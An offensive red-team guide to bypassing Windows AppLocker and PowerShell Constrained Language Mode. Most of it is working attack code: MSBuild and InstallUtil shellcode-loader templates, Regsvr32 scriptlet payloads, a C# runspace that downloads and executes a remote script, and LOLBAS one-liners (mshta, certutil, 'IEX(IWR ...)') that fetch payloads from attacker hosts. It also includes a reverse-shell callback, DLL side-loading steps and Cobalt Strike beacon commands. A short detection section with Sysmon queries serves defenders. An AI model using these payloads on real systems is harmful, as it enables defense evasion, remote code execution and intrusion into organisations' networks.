The definitive guide to understanding, enumerating, and bypassing AppLocker application whitelisting and PowerShell Constrained Language Mode (CLM) for Red Team operations.
Legend:
[ENUM]= Enumeration technique |[BYPASS]= Bypass method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[CLM]= Constrained Language Mode specific |[AL]= AppLocker specific |[LOL]= Living Off the Land |[CS]= Cobalt Strike compatible
1. What is AppLocker?
What it means: AppLocker is Microsoft's application whitelisting solution built into Windows. It uses policy rules to define which executables, scripts, DLLs, Windows Installer files, and packaged apps are allowed to run. Anything not explicitly permitted is blocked.
AppLocker operates via the Application Identity Service (AppIDSvc). If that service is not running, AppLocker enforcement is inactive — you can check with sc query AppIDSvc.
1.1 AppLocker Rule Categories
| Category | File Types Controlled | Default Enforcement |
|---|---|---|
| Executable Rules | .exe, .com |
Block unlisted |
| Windows Installer Rules | .msi, .msp, .mst |
Block unlisted |
| Script Rules | .ps1, .bat, .cmd, .vbs, .js |
Block unlisted |
| DLL Rules | .dll, .ocx |
Disabled by default (high overhead) |
| Packaged App Rules | .appx, UWP apps |
Block unlisted |
[OPSEC]DLL rule enforcement is almost never enabled in production due to system overhead. This is a major bypass avenue.
1.2 AppLocker Rule Conditions
| Condition | Based On | Strength | Bypass Risk |
|---|---|---|---|
| Publisher | Code signature + cert chain | Strong | Medium (steal cert, sign your own) |
| Hash | SHA-256 of specific file | Very Strong | Low (but brittle — breaks on file update) |
| Path | File path or folder | Weak | High (writable path abuse, wildcards) |
1.3 Default Allow Rules
By default AppLocker ships with allow rules for:
- %WINDIR%\* — Everything in C:\Windows\
- %PROGRAMFILES%\* — Everything in C:\Program Files\
- %PROGRAMFILES(X86)%\* — Everything in C:\Program Files (x86)\
- Administrators can run anything
[OPSEC]These defaults create enormous bypass surface. Many subdirectories underC:\Windows\are writable by standard users.
2. What is Constrained Language Mode (CLM)?
What it means: CLM is a PowerShell execution mode that restricts the language features available to users. It blocks access to .NET types, COM objects, Win32 API calls, and most things that make PowerShell dangerous from a security perspective.
2.1 PowerShell Language Modes
| Mode | Description | Capabilities |
|---|---|---|
| FullLanguage | Default — no restrictions | Everything allowed |
| ConstrainedLanguage | AppLocker/WDAC triggered | Severely limited |
| RestrictedLanguage | Very locked down | Only basic operators |
| NoLanguage | No script execution | Command pipeline only |
2.2 What CLM Blocks
# These ALL fail under CLM:
# .NET type access
[System.Net.WebClient]::new() # ERROR
[System.Runtime.InteropServices.Marshal] # ERROR
# P/Invoke / Add-Type
Add-Type -MemberDefinition $code -Name "Win32" # ERROR
# COM object creation
$wsh = New-Object -ComObject WScript.Shell # ERROR
# Type casting
[IntPtr]$ptr = 0x1234 # ERROR
# Math namespace
[math]::Pow(2,10) # ERROR
2.3 What CLM Allows
# These still work under CLM:
Get-Process
Get-Service
Get-ChildItem
Start-Process
Invoke-Command
Enter-PSSession
Get-Content / Set-Content
powerpick (Cobalt Strike — bypasses CLM entirely)
3. How AppLocker & CLM Relate
Critical relationship: CLM is automatically enforced when AppLocker is configured with Script Rules enabled. PowerShell detects the AppLocker policy by querying HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script and drops into CLM if any script policy is present.
AppLocker Policy Present with Script Rules
│
▼
PowerShell starts
│
▼
Queries AppLocker via Get-AppLockerPolicy
│
├─ Script allowed for current path → FullLanguage
│
└─ Script not in allow list → CLM enforced
[DETECT]This is why bypassing AppLocker often also bypasses CLM — if you execute from a trusted path, you get FullLanguage mode automatically.
[DETECT]CLM does NOT require AppLocker. WDAC (Windows Defender Application Control) also enforces CLM, and can do so more robustly than AppLocker.
4. Enumerating AppLocker Policy
4.1 Local Registry Query (Beacon / Shell)
# Check if AppLocker is enforced
sc query AppIDSvc
# Read raw AppLocker rules from registry
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2
# Check per-category enforcement
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Exe
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Dll
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Msi
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Appx
4.2 PowerShell Cmdlets (if FullLanguage available)
# Get all AppLocker policies
Get-AppLockerPolicy -Effective | Format-List
# Get only Executable rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Test if a specific file is allowed
Test-AppLockerPolicy -Path C:\temp\test.exe -User Everyone
# Get the XML of the full policy (readable format)
Get-AppLockerPolicy -Effective -Xml
4.3 Via GPO (from Cobalt Strike Beacon)
# Find GPO containing AppLocker policy
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*AppLocker*" -or $_.DisplayName -like "*Application*" } | select DisplayName, Name, GPCFileSysPath | fl
# Download the Registry.pol from the GPO SysVol path
beacon> download \\domain.local\SysVol\domain.local\Policies\{GUID}\Machine\Registry.pol
# Parse the .pol file (on attacker machine)
Parse-PolFile .\Registry.pol
4.4 Identifying Writable Paths in Trusted Locations
# Find writable directories inside C:\Windows\ (where execution is trusted)
Get-ChildItem "C:\Windows" -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
$acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
if ($acl.Access | Where-Object { $_.IdentityReference -match "Users|Everyone|Authenticated" -and $_.FileSystemRights -match "Write|FullControl|Modify" }) {
$_.FullName
}
}
# Common writable trusted paths (check these first):
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
# C:\Windows\System32\Tasks\
# C:\Windows\SysWOW64\Tasks\
# C:\Windows\debug\WIA\
5. Enumerating CLM Status
# Check current PowerShell language mode
$ExecutionContext.SessionState.LanguageMode
# Output: FullLanguage → No AppLocker script enforcement (or admin)
# Output: ConstrainedLanguage → AppLocker script policy active
# Check remotely via Beacon (winrm)
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode
# Check AppLocker status via Seatbelt
beacon> execute-assembly Seatbelt.exe AppLocker
# Check the actual SrpV2 key for Script rules
reg query "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script"
6. AppLocker Rule Types & Weaknesses
6.1 Path Rules — Most Common & Most Bypassable
<!-- Example: Standard default rule (allows everything in C:\Windows) -->
<FilePathRule Id="..." Name="All Windows files" Action="Allow">
<Conditions>
<FilePathCondition Path="%WINDIR%\*"/>
</Conditions>
</FilePathRule>
<!-- Example: Overly broad custom rule (wildcard in middle) -->
<FilePathRule Id="..." Name="Custom Apps" Action="Allow">
<Conditions>
<FilePathCondition Path="%OSDRIVE%\*\Packages\*"/>
</Conditions>
</FilePathRule>
<!-- Bypass: Create C:\AnyFolder\Packages\ and drop payload there -->
Common path rule weaknesses:
| Weak Rule Pattern | Bypass |
|---|---|
%WINDIR%\* |
Write to C:\Windows\Tasks\ or C:\Windows\Temp\ |
%PROGRAMFILES%\* |
If any subfolder is user-writable |
%OSDRIVE%\*\Packages\* |
Create your own Packages folder |
C:\Users\* |
User controls their own profile — drop anything |
\\server\share\* |
Control the share, drop payload |
6.2 Publisher Rules
<!-- Allows anything signed by Microsoft -->
<FilePublisherRule Action="Allow">
<Conditions>
<FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION" />
</Conditions>
</FilePublisherRule>
Bypass vectors: - If you compromise an internal CA, sign your payload - Use legitimate Microsoft-signed binaries that execute code (LOLBAS) - MSBuild, InstallUtil, Regsvr32 are all Microsoft-signed
6.3 Hash Rules
<!-- Allows only exact hash of specific version -->
<FileHashRule Action="Allow">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x1A2B..." SourceFileName="tool.exe" />
</FileHashCondition>
</Conditions>
</FileHashRule>
Bypass: Hash rules are very strong. Only meaningful weakness: - If the file is in a user-writable directory and the hash is of the DIRECTORY rather than the file (misconfiguration) - Find an unlisted binary in the same allowed directory
7. AppLocker Bypass Techniques
7.1 Writable Trusted Path Abuse
What it means: Place your payload in a directory that AppLocker trusts (like C:\Windows\Tasks\) because the policy uses path-based rules allowing all of C:\Windows\*.
# [BYPASS] Copy payload to a writable path inside C:\Windows\
copy C:\Users\user\Desktop\payload.exe C:\Windows\Tasks\payload.exe
C:\Windows\Tasks\payload.exe
# Or via Beacon
beacon> cd C:\Windows\Tasks
beacon> upload C:\Payloads\beacon.exe
beacon> shell C:\Windows\Tasks\beacon.exe
# Writable paths that are commonly allowed:
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\debug\WIA\
# C:\Windows\System32\spool\drivers\color\
[OPSEC]Dropping an unsigned EXE intoC:\Windows\Tasksis noisy. Sysmon logs file creation and process creation. Use a signed binary or legitimate LOL technique where possible.
[DETECT]Sysmon Event ID 11 (FileCreate) inC:\Windows\Tasksfrom a non-SYSTEM process is suspicious.
7.2 LOLBAS — Trusted Binary Execution
What it means: Use Microsoft-signed binaries already on the system to execute arbitrary code. These are trusted by Publisher rules and allowed by default path rules.
MSBuild.exe — Execute Inline C
<!-- test.xml — drop to disk, execute with MSBuild -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="exec">
<Exec />
</Target>
<UsingTask TaskName="Exec" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class Exec : Task, ITask {
public override bool Execute() {
// Drop shellcode runner or reverse shell here
Process.Start("powershell.exe", "-nop -w hidden -enc <base64payload>");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
:: Execute MSBuild with the malicious project file
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\test.xml
[DETECT]MSBuild.exe spawning child processes (especially PowerShell) is highly suspicious. Many mature AppLocker policies explicitly deny MSBuild via a Deny rule.
InstallUtil.exe — Execute .NET Assembly
// Create a .NET class with an Install() method
// Compile: csc.exe /unsafe payload.cs
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;
[System.ComponentModel.RunInstaller(true)]
public class Payload : System.Configuration.Install.Installer {
[DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, ref uint i);
public override void Uninstall(System.Collections.IDictionary d) {
byte[] shellcode = new byte[] { /* shellcode bytes */ };
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
uint tid = 0;
CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, ref tid);
System.Threading.Thread.Sleep(10000);
}
}
:: Execute without actually installing anything
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
Regsvr32.exe — COM Scriptlet Execution (Squiblydoo)
:: Execute a remote SCT file — no file write needed
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
:: Or local SCT file
regsvr32.exe /s /n /u /i:C:\temp\payload.sct scrobj.dll
<!-- payload.sct — COM scriptlet -->
<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{AAAA-1111-BBBB-2222-CCCC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -enc <b64>", 0, false);
]]>
</script>
</registration>
</scriptlet>
[OPSEC]Regsvr32 making outbound HTTP requests is a well-known IOC. Many orgs block this at the network level. Use local SCT file where possible.
Other Key LOLBAS Binaries
| Binary | Path | Execution Method |
|---|---|---|
mshta.exe |
C:\Windows\System32\mshta.exe |
Execute VBScript/JScript HTA files or URLs |
wscript.exe |
C:\Windows\System32\wscript.exe |
Execute .vbs / .js scripts |
cscript.exe |
C:\Windows\System32\cscript.exe |
Same as wscript, console mode |
certutil.exe |
C:\Windows\System32\certutil.exe |
Download files, decode base64 |
rundll32.exe |
C:\Windows\System32\rundll32.exe |
Execute DLL exports |
msiexec.exe |
C:\Windows\System32\msiexec.exe |
Execute MSI packages |
odbcconf.exe |
C:\Windows\System32\odbcconf.exe |
Load DLL via /A {REGSVR payload.dll} |
xwizard.exe |
C:\Windows\System32\xwizard.exe |
Execute arbitrary .NET assemblies |
ftp.exe |
C:\Windows\System32\ftp.exe |
Script execution via !command |
forfiles.exe |
C:\Windows\System32\forfiles.exe |
Execute arbitrary commands via /c cmd /c |
:: mshta — execute remote HTA
mshta.exe http://attacker.com/payload.hta
:: certutil — download and decode payload
certutil.exe -urlcache -split -f http://attacker.com/payload.b64 payload.b64
certutil.exe -decode payload.b64 payload.exe
:: rundll32 — execute DLL export
rundll32.exe payload.dll,EntryPoint
:: odbcconf — load DLL
odbcconf.exe /A {REGSVR C:\path\to\payload.dll}
7.3 Alternate Data Streams (ADS)
What it means: NTFS Alternate Data Streams allow you to hide data in a "stream" attached to a file. If a trusted file (e.g., a .txt in an allowed path) has an ADS containing an executable, the ADS can sometimes be executed.
:: Write executable into ADS of a trusted file
type payload.exe > "C:\Windows\Tasks\legit.txt:payload.exe"
:: Execute the ADS (older Windows)
wmic process call create "C:\Windows\Tasks\legit.txt:payload.exe"
:: Check ADS exists
dir /r C:\Windows\Tasks\legit.txt
[OPSEC]ADS execution is less reliable on modern Windows and usually blocked by modern AppLocker configs. Best on older systems (pre-Win10).
7.4 DLL Side-Loading
What it means: If AppLocker doesn't enforce DLL rules (very common), you can place a malicious DLL in the same directory as a trusted application and the trusted app will load your DLL instead of the legitimate one.
# Step 1: Find a trusted application that loads DLLs from its own directory
# (using Process Monitor — look for NAME NOT FOUND on DLL loads)
# Step 2: Drop malicious DLL with the expected name
copy maldll.dll "C:\Program Files\LegitApp\missingdep.dll"
# Step 3: Execute the trusted application
"C:\Program Files\LegitApp\LegitApp.exe"
# → LegitApp.exe loads missingdep.dll → your code runs inside a trusted process
# Common targets for DLL side-loading
# Microsoft Teams, Zoom, Slack installers in user-writable AppData
# Any application installed to %AppData%\Local or %AppData%\Roaming
[OPSEC]Since the DLL is loaded by a trusted, signed process, AppLocker publisher rules are satisfied. Your DLL itself is never evaluated for trust — only the loading EXE is.
[DETECT]Sysmon Event ID 7 (ImageLoaded) — loading unsigned DLL from non-standard path from a signed process.
7.5 Script Execution via Trusted Runtimes
# Python (if installed and allowed)
python -c "import subprocess; subprocess.run(['calc.exe'])"
# Perl / Ruby / Lua (check what's installed)
perl -e "system('calc.exe')"
# Node.js
node -e "require('child_process').exec('calc.exe')"
# .NET interactive (if available)
dotnet-script payload.csx
# JScript via Windows Script Host
wscript.exe payload.js
cscript.exe payload.js
8. CLM Bypass Techniques
8.1 PowerShell Downgrade Attack
What it means: PowerShell v2 does not implement or respect CLM. If PowerShell v2 is installed (it often is, especially pre-Win10 1909), you can spawn a v2 shell and operate in FullLanguage mode.
# Check if PowerShell v2 is available
Get-WindowsFeature PowerShell-V2 # Server
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # Client
# Spawn a PowerShell v2 shell
powershell.exe -version 2
# Confirm you're in v2 and FullLanguage
$PSVersionTable.PSVersion
$ExecutionContext.SessionState.LanguageMode # Should say FullLanguage
[OPSEC]PowerShell v2 does not have ScriptBlock Logging or AMSI. This makes it a very attractive bypass for both CLM and logging evasion simultaneously.
[DETECT]Spawningpowershell.exe -version 2is a well-known IOC. Defenders with mature logging will alert on this. The version string appears in process command line arguments (Sysmon Event ID 1).
[OPSEC]Microsoft has deprecated v2 and it can be removed via DISM:Disable-WindowsOptionalFeature -FeatureName MicrosoftWindowsPowerShellV2Root. Check before relying on this.
:: Check if v2 engine is present on target
dism /online /get-featureinfo /featurename:MicrosoftWindowsPowerShellV2Root
8.2 Custom PowerShell Runspace (C# / .NET)
What it means: CLM is enforced at the powershell.exe binary level. If you create your own PowerShell runspace inside a C# application or .NET assembly, you bypass CLM entirely because your process is not powershell.exe and AppLocker is not enforcing CLM against it.
// C# — Create a PowerShell runspace, run arbitrary code outside CLM
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class RunspaceCLMBypass {
static void Main(string[] args) {
// Create a runspace — this is NOT subject to CLM
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
// This runs in FullLanguage mode regardless of AppLocker/CLM
ps.AddScript("[System.Net.WebClient]::new().DownloadString('http://attacker.com/payload.ps1') | IEX");
ps.Invoke();
rs.Close();
}
}
:: Compile and run
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Management.Automation.dll RunspaceCLMBypass.cs
RunspaceCLMBypass.exe
[OPSEC]The resulting EXE needs to bypass AppLocker too — compile it and place it in a trusted path, or execute viaexecute-assembly(Cobalt Strike) to avoid disk writes.
8.3 powerpick (Cobalt Strike)
What it means: Cobalt Strike's powerpick command is an "unmanaged" PowerShell implementation. It spins up a PowerShell runspace inside the Beacon process itself — not inside powershell.exe. CLM does not apply.
# Standard powershell — blocked by CLM
beacon> powershell [math]::Pow(2,10)
# → ERROR: Cannot invoke method... ConstrainedLanguage
# powerpick — bypasses CLM entirely
beacon> powerpick [math]::Pow(2,10)
# → 1024
# Import PowerView and run under full language
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain
# execute-assembly also bypasses CLM (runs inside Beacon process)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe triage
[OPSEC]powerpickspawns the spawnto process (e.g., notepad.exe) and injects a .NET CLR runspace into it. This is why CLM doesn't apply — the process is notpowershell.exe. Ensure your spawnto is configured appropriately for the environment.
8.4 PSByPassCLM
What it means: A dedicated tool that hosts a PowerShell runspace in a custom .NET process to bypass CLM.
# Clone and compile
git clone https://github.com/padovah4ck/PSByPassCLM
# Compile in Visual Studio or:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PSByPassCLM.cs
# Execute — starts a new shell in FullLanguage mode
C:\Windows\Tasks\PSByPassCLM.exe
# Or with a reverse shell callback
PSByPassCLM.exe 10.10.10.100 4444 -p
# Verify bypass
$ExecutionContext.SessionState.LanguageMode # → FullLanguage
8.5 PowerShdll — PowerShell via DLL
What it means: PowerShdll runs PowerShell code through a DLL loaded by trusted binaries (rundll32, regsvr32, etc.), bypassing both CLM and script logging.
:: Via rundll32 (interactive)
rundll32.exe PowerShdll.dll,main
:: Via regsvr32
regsvr32.exe /s /n /u /i:PowerShdll.dll scrobj.dll
:: Via odbcconf
odbcconf.exe /a {REGSVR PowerShdll.dll}
:: Via PresentationHost (WPF host)
PresentationHost.exe -debug PowerShdll.dll
8.6 Registry-Based CLM Check Bypass
What it means: In some configurations, CLM is applied based on the __PSLockdownPolicy environment variable or registry key. If you can modify this before spawning PowerShell, CLM won't apply.
# CLM checks this environment variable on startup
# If it doesn't equal "4", CLM is not enforced
[System.Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "0", "Machine")
# Then spawn a new PowerShell process
powershell.exe
$ExecutionContext.SessionState.LanguageMode # → FullLanguage
# [OPSEC] Requires ability to modify machine-level env vars (local admin typically)
# Also works per-process:
$env:__PSLockdownPolicy = "0"
powershell.exe # New process inherits the env var → FullLanguage
[OPSEC]This only works when CLM is enforced via the environment variable mechanism, not via proper WDAC policy. Proper WDAC enforces CLM at the kernel level and cannot be bypassed this way.
8.7 JEA (Just Enough Administration) Escape
What it means: Some environments use JEA endpoints which run in NoLanguage or RestrictedLanguage mode. Misconfigured JEA endpoints may allow escaping to a more permissive mode.
# Connect to a JEA endpoint
Enter-PSSession -ComputerName TARGET -ConfigurationName JEAEndpoint
# Check what commands are allowed
Get-Command
# Look for commands that accept ScriptBlock parameters — these are escape vectors
# E.g., if Invoke-Expression or Start-Job is allowed:
Invoke-Expression { $ExecutionContext.SessionState.LanguageMode }
# Or if any command accepts a -Filter scriptblock:
Get-ChildItem -Filter { Write-Host $ExecutionContext.SessionState.LanguageMode }
9. Combined AppLocker + CLM Bypasses
These techniques bypass both restrictions simultaneously.
9.1 MSBuild — Drop & Execute (Combined)
# Step 1: Write MSBuild XML to a trusted writable path
$xml = @'
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="exec">
<MyTask />
</Target>
<UsingTask TaskName="MyTask" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MyTask : Task, ITask {
public override bool Execute() {
System.Net.WebClient wc = new System.Net.WebClient();
string script = wc.DownloadString("http://10.10.10.100/payload.ps1");
System.Management.Automation.PowerShell ps = System.Management.Automation.PowerShell.Create();
ps.AddScript(script);
ps.Invoke();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
'@
# Step 2: Write to trusted path (no AppLocker block on .xml in C:\Windows\Tasks)
$xml | Out-File -FilePath "C:\Windows\Tasks\build.xml" -Encoding ASCII
# Step 3: Execute via trusted, signed MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\build.xml
# → MSBuild is trusted (Publisher rule) → C# runs inline → Runspace bypasses CLM
9.2 InstallUtil — Reflective Load (Combined)
# Step 1: Generate shellcode loader as .NET DLL (via Donut or manual)
# Step 2: Drop to writable trusted path
beacon> upload C:\Payloads\loader.dll C:\Windows\Tasks\loader.dll
# Step 3: Execute via InstallUtil
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\loader.dll
# → InstallUtil is trusted → calls Uninstall() in your DLL → shellcode runs
9.3 execute-assembly Over CLM Machine (Cobalt Strike)
# On a machine with AppLocker + CLM enforced:
beacon> getuid
[*] You are TARGET\user
beacon> powershell $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage ← CLM active
# execute-assembly bypasses both — runs inside Beacon process, not powershell.exe
beacon> execute-assembly C:\Tools\SharpHound.exe -c All
beacon> execute-assembly C:\Tools\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Seatbelt.exe -group=all
# powerpick bypasses CLM via unmanaged runspace
beacon> powerpick Get-DomainUser -Identity jking -Properties MemberOf | fl
9.4 Wildcard Path Rule Exploitation
# If policy has: Allow %OSDRIVE%\*\Packages\*
# Create the folder structure in user-writable location
mkdir C:\Users\user\Packages
# Drop payload there — path matches the wildcard rule
copy payload.exe C:\Users\user\Packages\payload.exe
C:\Users\user\Packages\payload.exe # → Allowed by AppLocker
# This also gives you FullLanguage in PowerShell scripts in that path
# because the path matches the allow rule
powershell.exe -f C:\Users\user\Packages\payload.ps1 # → FullLanguage
10. WDAC vs AppLocker — Key Differences
| Feature | AppLocker | WDAC |
|---|---|---|
| Enforcement Level | User mode | Kernel mode |
| Security Boundary | Not a security boundary (Microsoft) | Official security boundary (MS) |
| CLM Enforcement | Via env var check (bypassable) | Kernel-enforced (very hard to bypass) |
| Bypass Difficulty | Medium | High |
| DLL Enforcement | Off by default | Enforced if configured |
| Admin Bypass | Admins bypass by default | Admins do NOT bypass |
| CVE / Patches | Rarely patched | Actively maintained |
| Minimum OS | Windows 7 / Server 2008 R2 | Windows 10 / Server 2016 |
[OPSEC]Always confirm whether you're dealing with AppLocker or WDAC. The bypass approach is very different. WDAC at kernel level cannot be bypassed by environment variable tricks or path manipulation.
11. Detection & Logging
11.1 What Defenders See
AppLocker Events (Event Log: Microsoft-Windows-AppLocker):
| Event ID | Description |
|---|---|
| 8003 | Executable was allowed to run (Exe and DLL) |
| 8004 | Executable was blocked |
| 8005 | Script was allowed |
| 8006 | Script was blocked |
| 8007 | MSI/installer was blocked |
| 8020 | Packaged app was allowed |
| 8021 | Packaged app was blocked |
Sysmon Events relevant to bypass detection:
| Event ID | Description | Bypass Indicator |
|---|---|---|
| 1 | Process Create | powershell.exe -version 2, msbuild.exe, regsvr32.exe spawning children |
| 7 | Image Loaded | Unsigned DLL loaded by signed process (DLL side-load) |
| 11 | FileCreate | Executable dropped to C:\Windows\Tasks\, C:\Windows\Temp\ |
| 15 | FileCreateStreamHash | Alternate Data Stream creation |
| 17/18 | Pipe Create/Connect | Cobalt Strike named pipe (powerpick communication) |
PowerShell Logging:
| Log Type | What It Captures |
|---|---|
| Script Block Logging (4104) | Every script block executed — including obfuscated code |
| Module Logging (4103) | Module/cmdlet usage |
| Transcription | Full session input/output to file |
[DETECT]The most reliable detection for CLM bypass via runspace: look forSystem.Management.Automation.dllloaded into non-PowerShell processes (Sysmon Event ID 7).
11.2 Detection Queries (Kibana/Sysmon)
# MSBuild spawning children
event.module: sysmon and event.type: process_start and process.parent.name: MSBuild.exe
# PowerShell v2 downgrade attempt
event.module: sysmon and event.type: process_start and process.command_line: *-version 2*
# Regsvr32 network connection (Squiblydoo)
event.module: sysmon and event.type: connection and process.name: regsvr32.exe
# InstallUtil execution
event.module: sysmon and event.type: process_start and process.name: InstallUtil.exe
# Executable dropped to Windows\Tasks
event.module: sysmon and event.type: creation and file.directory: *Windows\\Tasks* and file.extension: exe
# SMA.dll loaded in non-PS process (runspace bypass)
event.module: sysmon and event.type: image_load and file.name: System.Management.Automation.dll and not process.name: powershell.exe
12. Comparison Matrix
| Bypass Technique | Bypasses AppLocker | Bypasses CLM | Disk Write | Complexity | Detection Risk | Best Scenario |
|---|---|---|---|---|---|---|
| Writable Trusted Path | ✅ | ❌ | ✅ | Low | Medium | No EDR, basic AppLocker |
| MSBuild inline C# | ✅ | ✅ | ✅ (xml file) | Medium | High | WDAC not deployed |
| InstallUtil | ✅ | ✅ | ✅ | Medium | High | Older environments |
| Regsvr32 / SCT | ✅ | ✅ | Optional | Low | High | Quick initial execution |
| DLL Side-Loading | ✅ | ✅ | ✅ (dll) | Medium | Medium | No DLL rules |
| PS v2 Downgrade | ❌ | ✅ | ❌ | Low | High | CLM bypass only |
| Custom Runspace (.NET) | ✅ (if EXE in trusted path) | ✅ | ✅ | High | Medium | AppLocker + CLM both present |
| powerpick (CS) | ✅ | ✅ | ❌ | Low | Medium | Existing Beacon session |
| execute-assembly (CS) | ✅ | ✅ | ❌ | Low | Medium | Existing Beacon session |
| PSByPassCLM | ✅ (if in trusted path) | ✅ | ✅ | Low | Medium | Targeted CLM bypass |
Env Var (__PSLockdownPolicy) |
❌ | ✅ | ❌ | Low | Low | CLM via env var only (not WDAC) |
| Wildcard Path Exploit | ✅ | ✅ | ✅ | Low | Low | Poorly written path rules |
13. Cheat Sheet
Quick Enumeration
# Is AppLocker enforced?
sc query AppIDSvc
# What's my PowerShell language mode?
$ExecutionContext.SessionState.LanguageMode
# Read all AppLocker rules (if FullLanguage available)
Get-AppLockerPolicy -Effective -Xml | Out-File C:\temp\policy.xml
# Writable directories in trusted paths (find bypass opportunities)
cmd /c "dir /a /s C:\Windows\Tasks C:\Windows\Temp 2>nul"
Decision Tree — Which Bypass?
Got a shell / Beacon on a CLM + AppLocker machine?
│
├─ Have a Cobalt Strike Beacon?
│ └─ YES → Use powerpick / execute-assembly → Done. No bypass needed.
│
├─ No Beacon — shell only?
│ │
│ ├─ CLM only, no AppLocker?
│ │ ├─ PS v2 installed? → powershell.exe -version 2
│ │ ├─ Admin rights? → Set __PSLockdownPolicy=0 env var
│ │ └─ No admin → PSByPassCLM.exe (if you can drop a file)
│ │
│ ├─ AppLocker only (no CLM)?
│ │ ├─ Find writable path in C:\Windows\ → drop payload there
│ │ ├─ DLL side-load opportunity? → drop malicious DLL
│ │ └─ LOLBAS → mshta / regsvr32 / certutil
│ │
│ └─ Both AppLocker + CLM?
│ ├─ MSBuild.exe allowed? → MSBuild inline C# → bypasses both
│ ├─ InstallUtil.exe? → Compile .NET DLL with Uninstall() method
│ ├─ Writable trusted path? → Drop custom runspace EXE there
│ ├─ PS v2 installed? → powershell.exe -version 2 (from allowed path)
│ └─ Wildcard path rule? → Create folder matching wildcard, drop payload
Quick LOLBAS Commands
:: MSBuild — inline C# execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.xml
:: InstallUtil — .NET DLL
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
:: Regsvr32 — remote SCT
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
:: mshta — remote HTA
mshta.exe http://ATTACKER/payload.hta
:: certutil — download file
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe payload.exe
:: rundll32 — DLL export
rundll32.exe payload.dll,EntryPoint
:: PS v2 downgrade
powershell.exe -version 2 -nop -w hidden -c "IEX(IWR 'http://ATTACKER/payload.ps1')"
Common Writable Trusted Paths
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\debug\WIA\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\Tasks\
C:\Windows\SysWOW64\Tasks\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\com\dmp\
Cobalt Strike CLM/AppLocker Commands
# Check CLM status remotely
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode
# Always use these over powershell on CLM machines:
beacon> powerpick <any powershell code>
beacon> execute-assembly <any .NET binary>
beacon> psinject <pid> x64 <script> # inject PS runspace into existing process
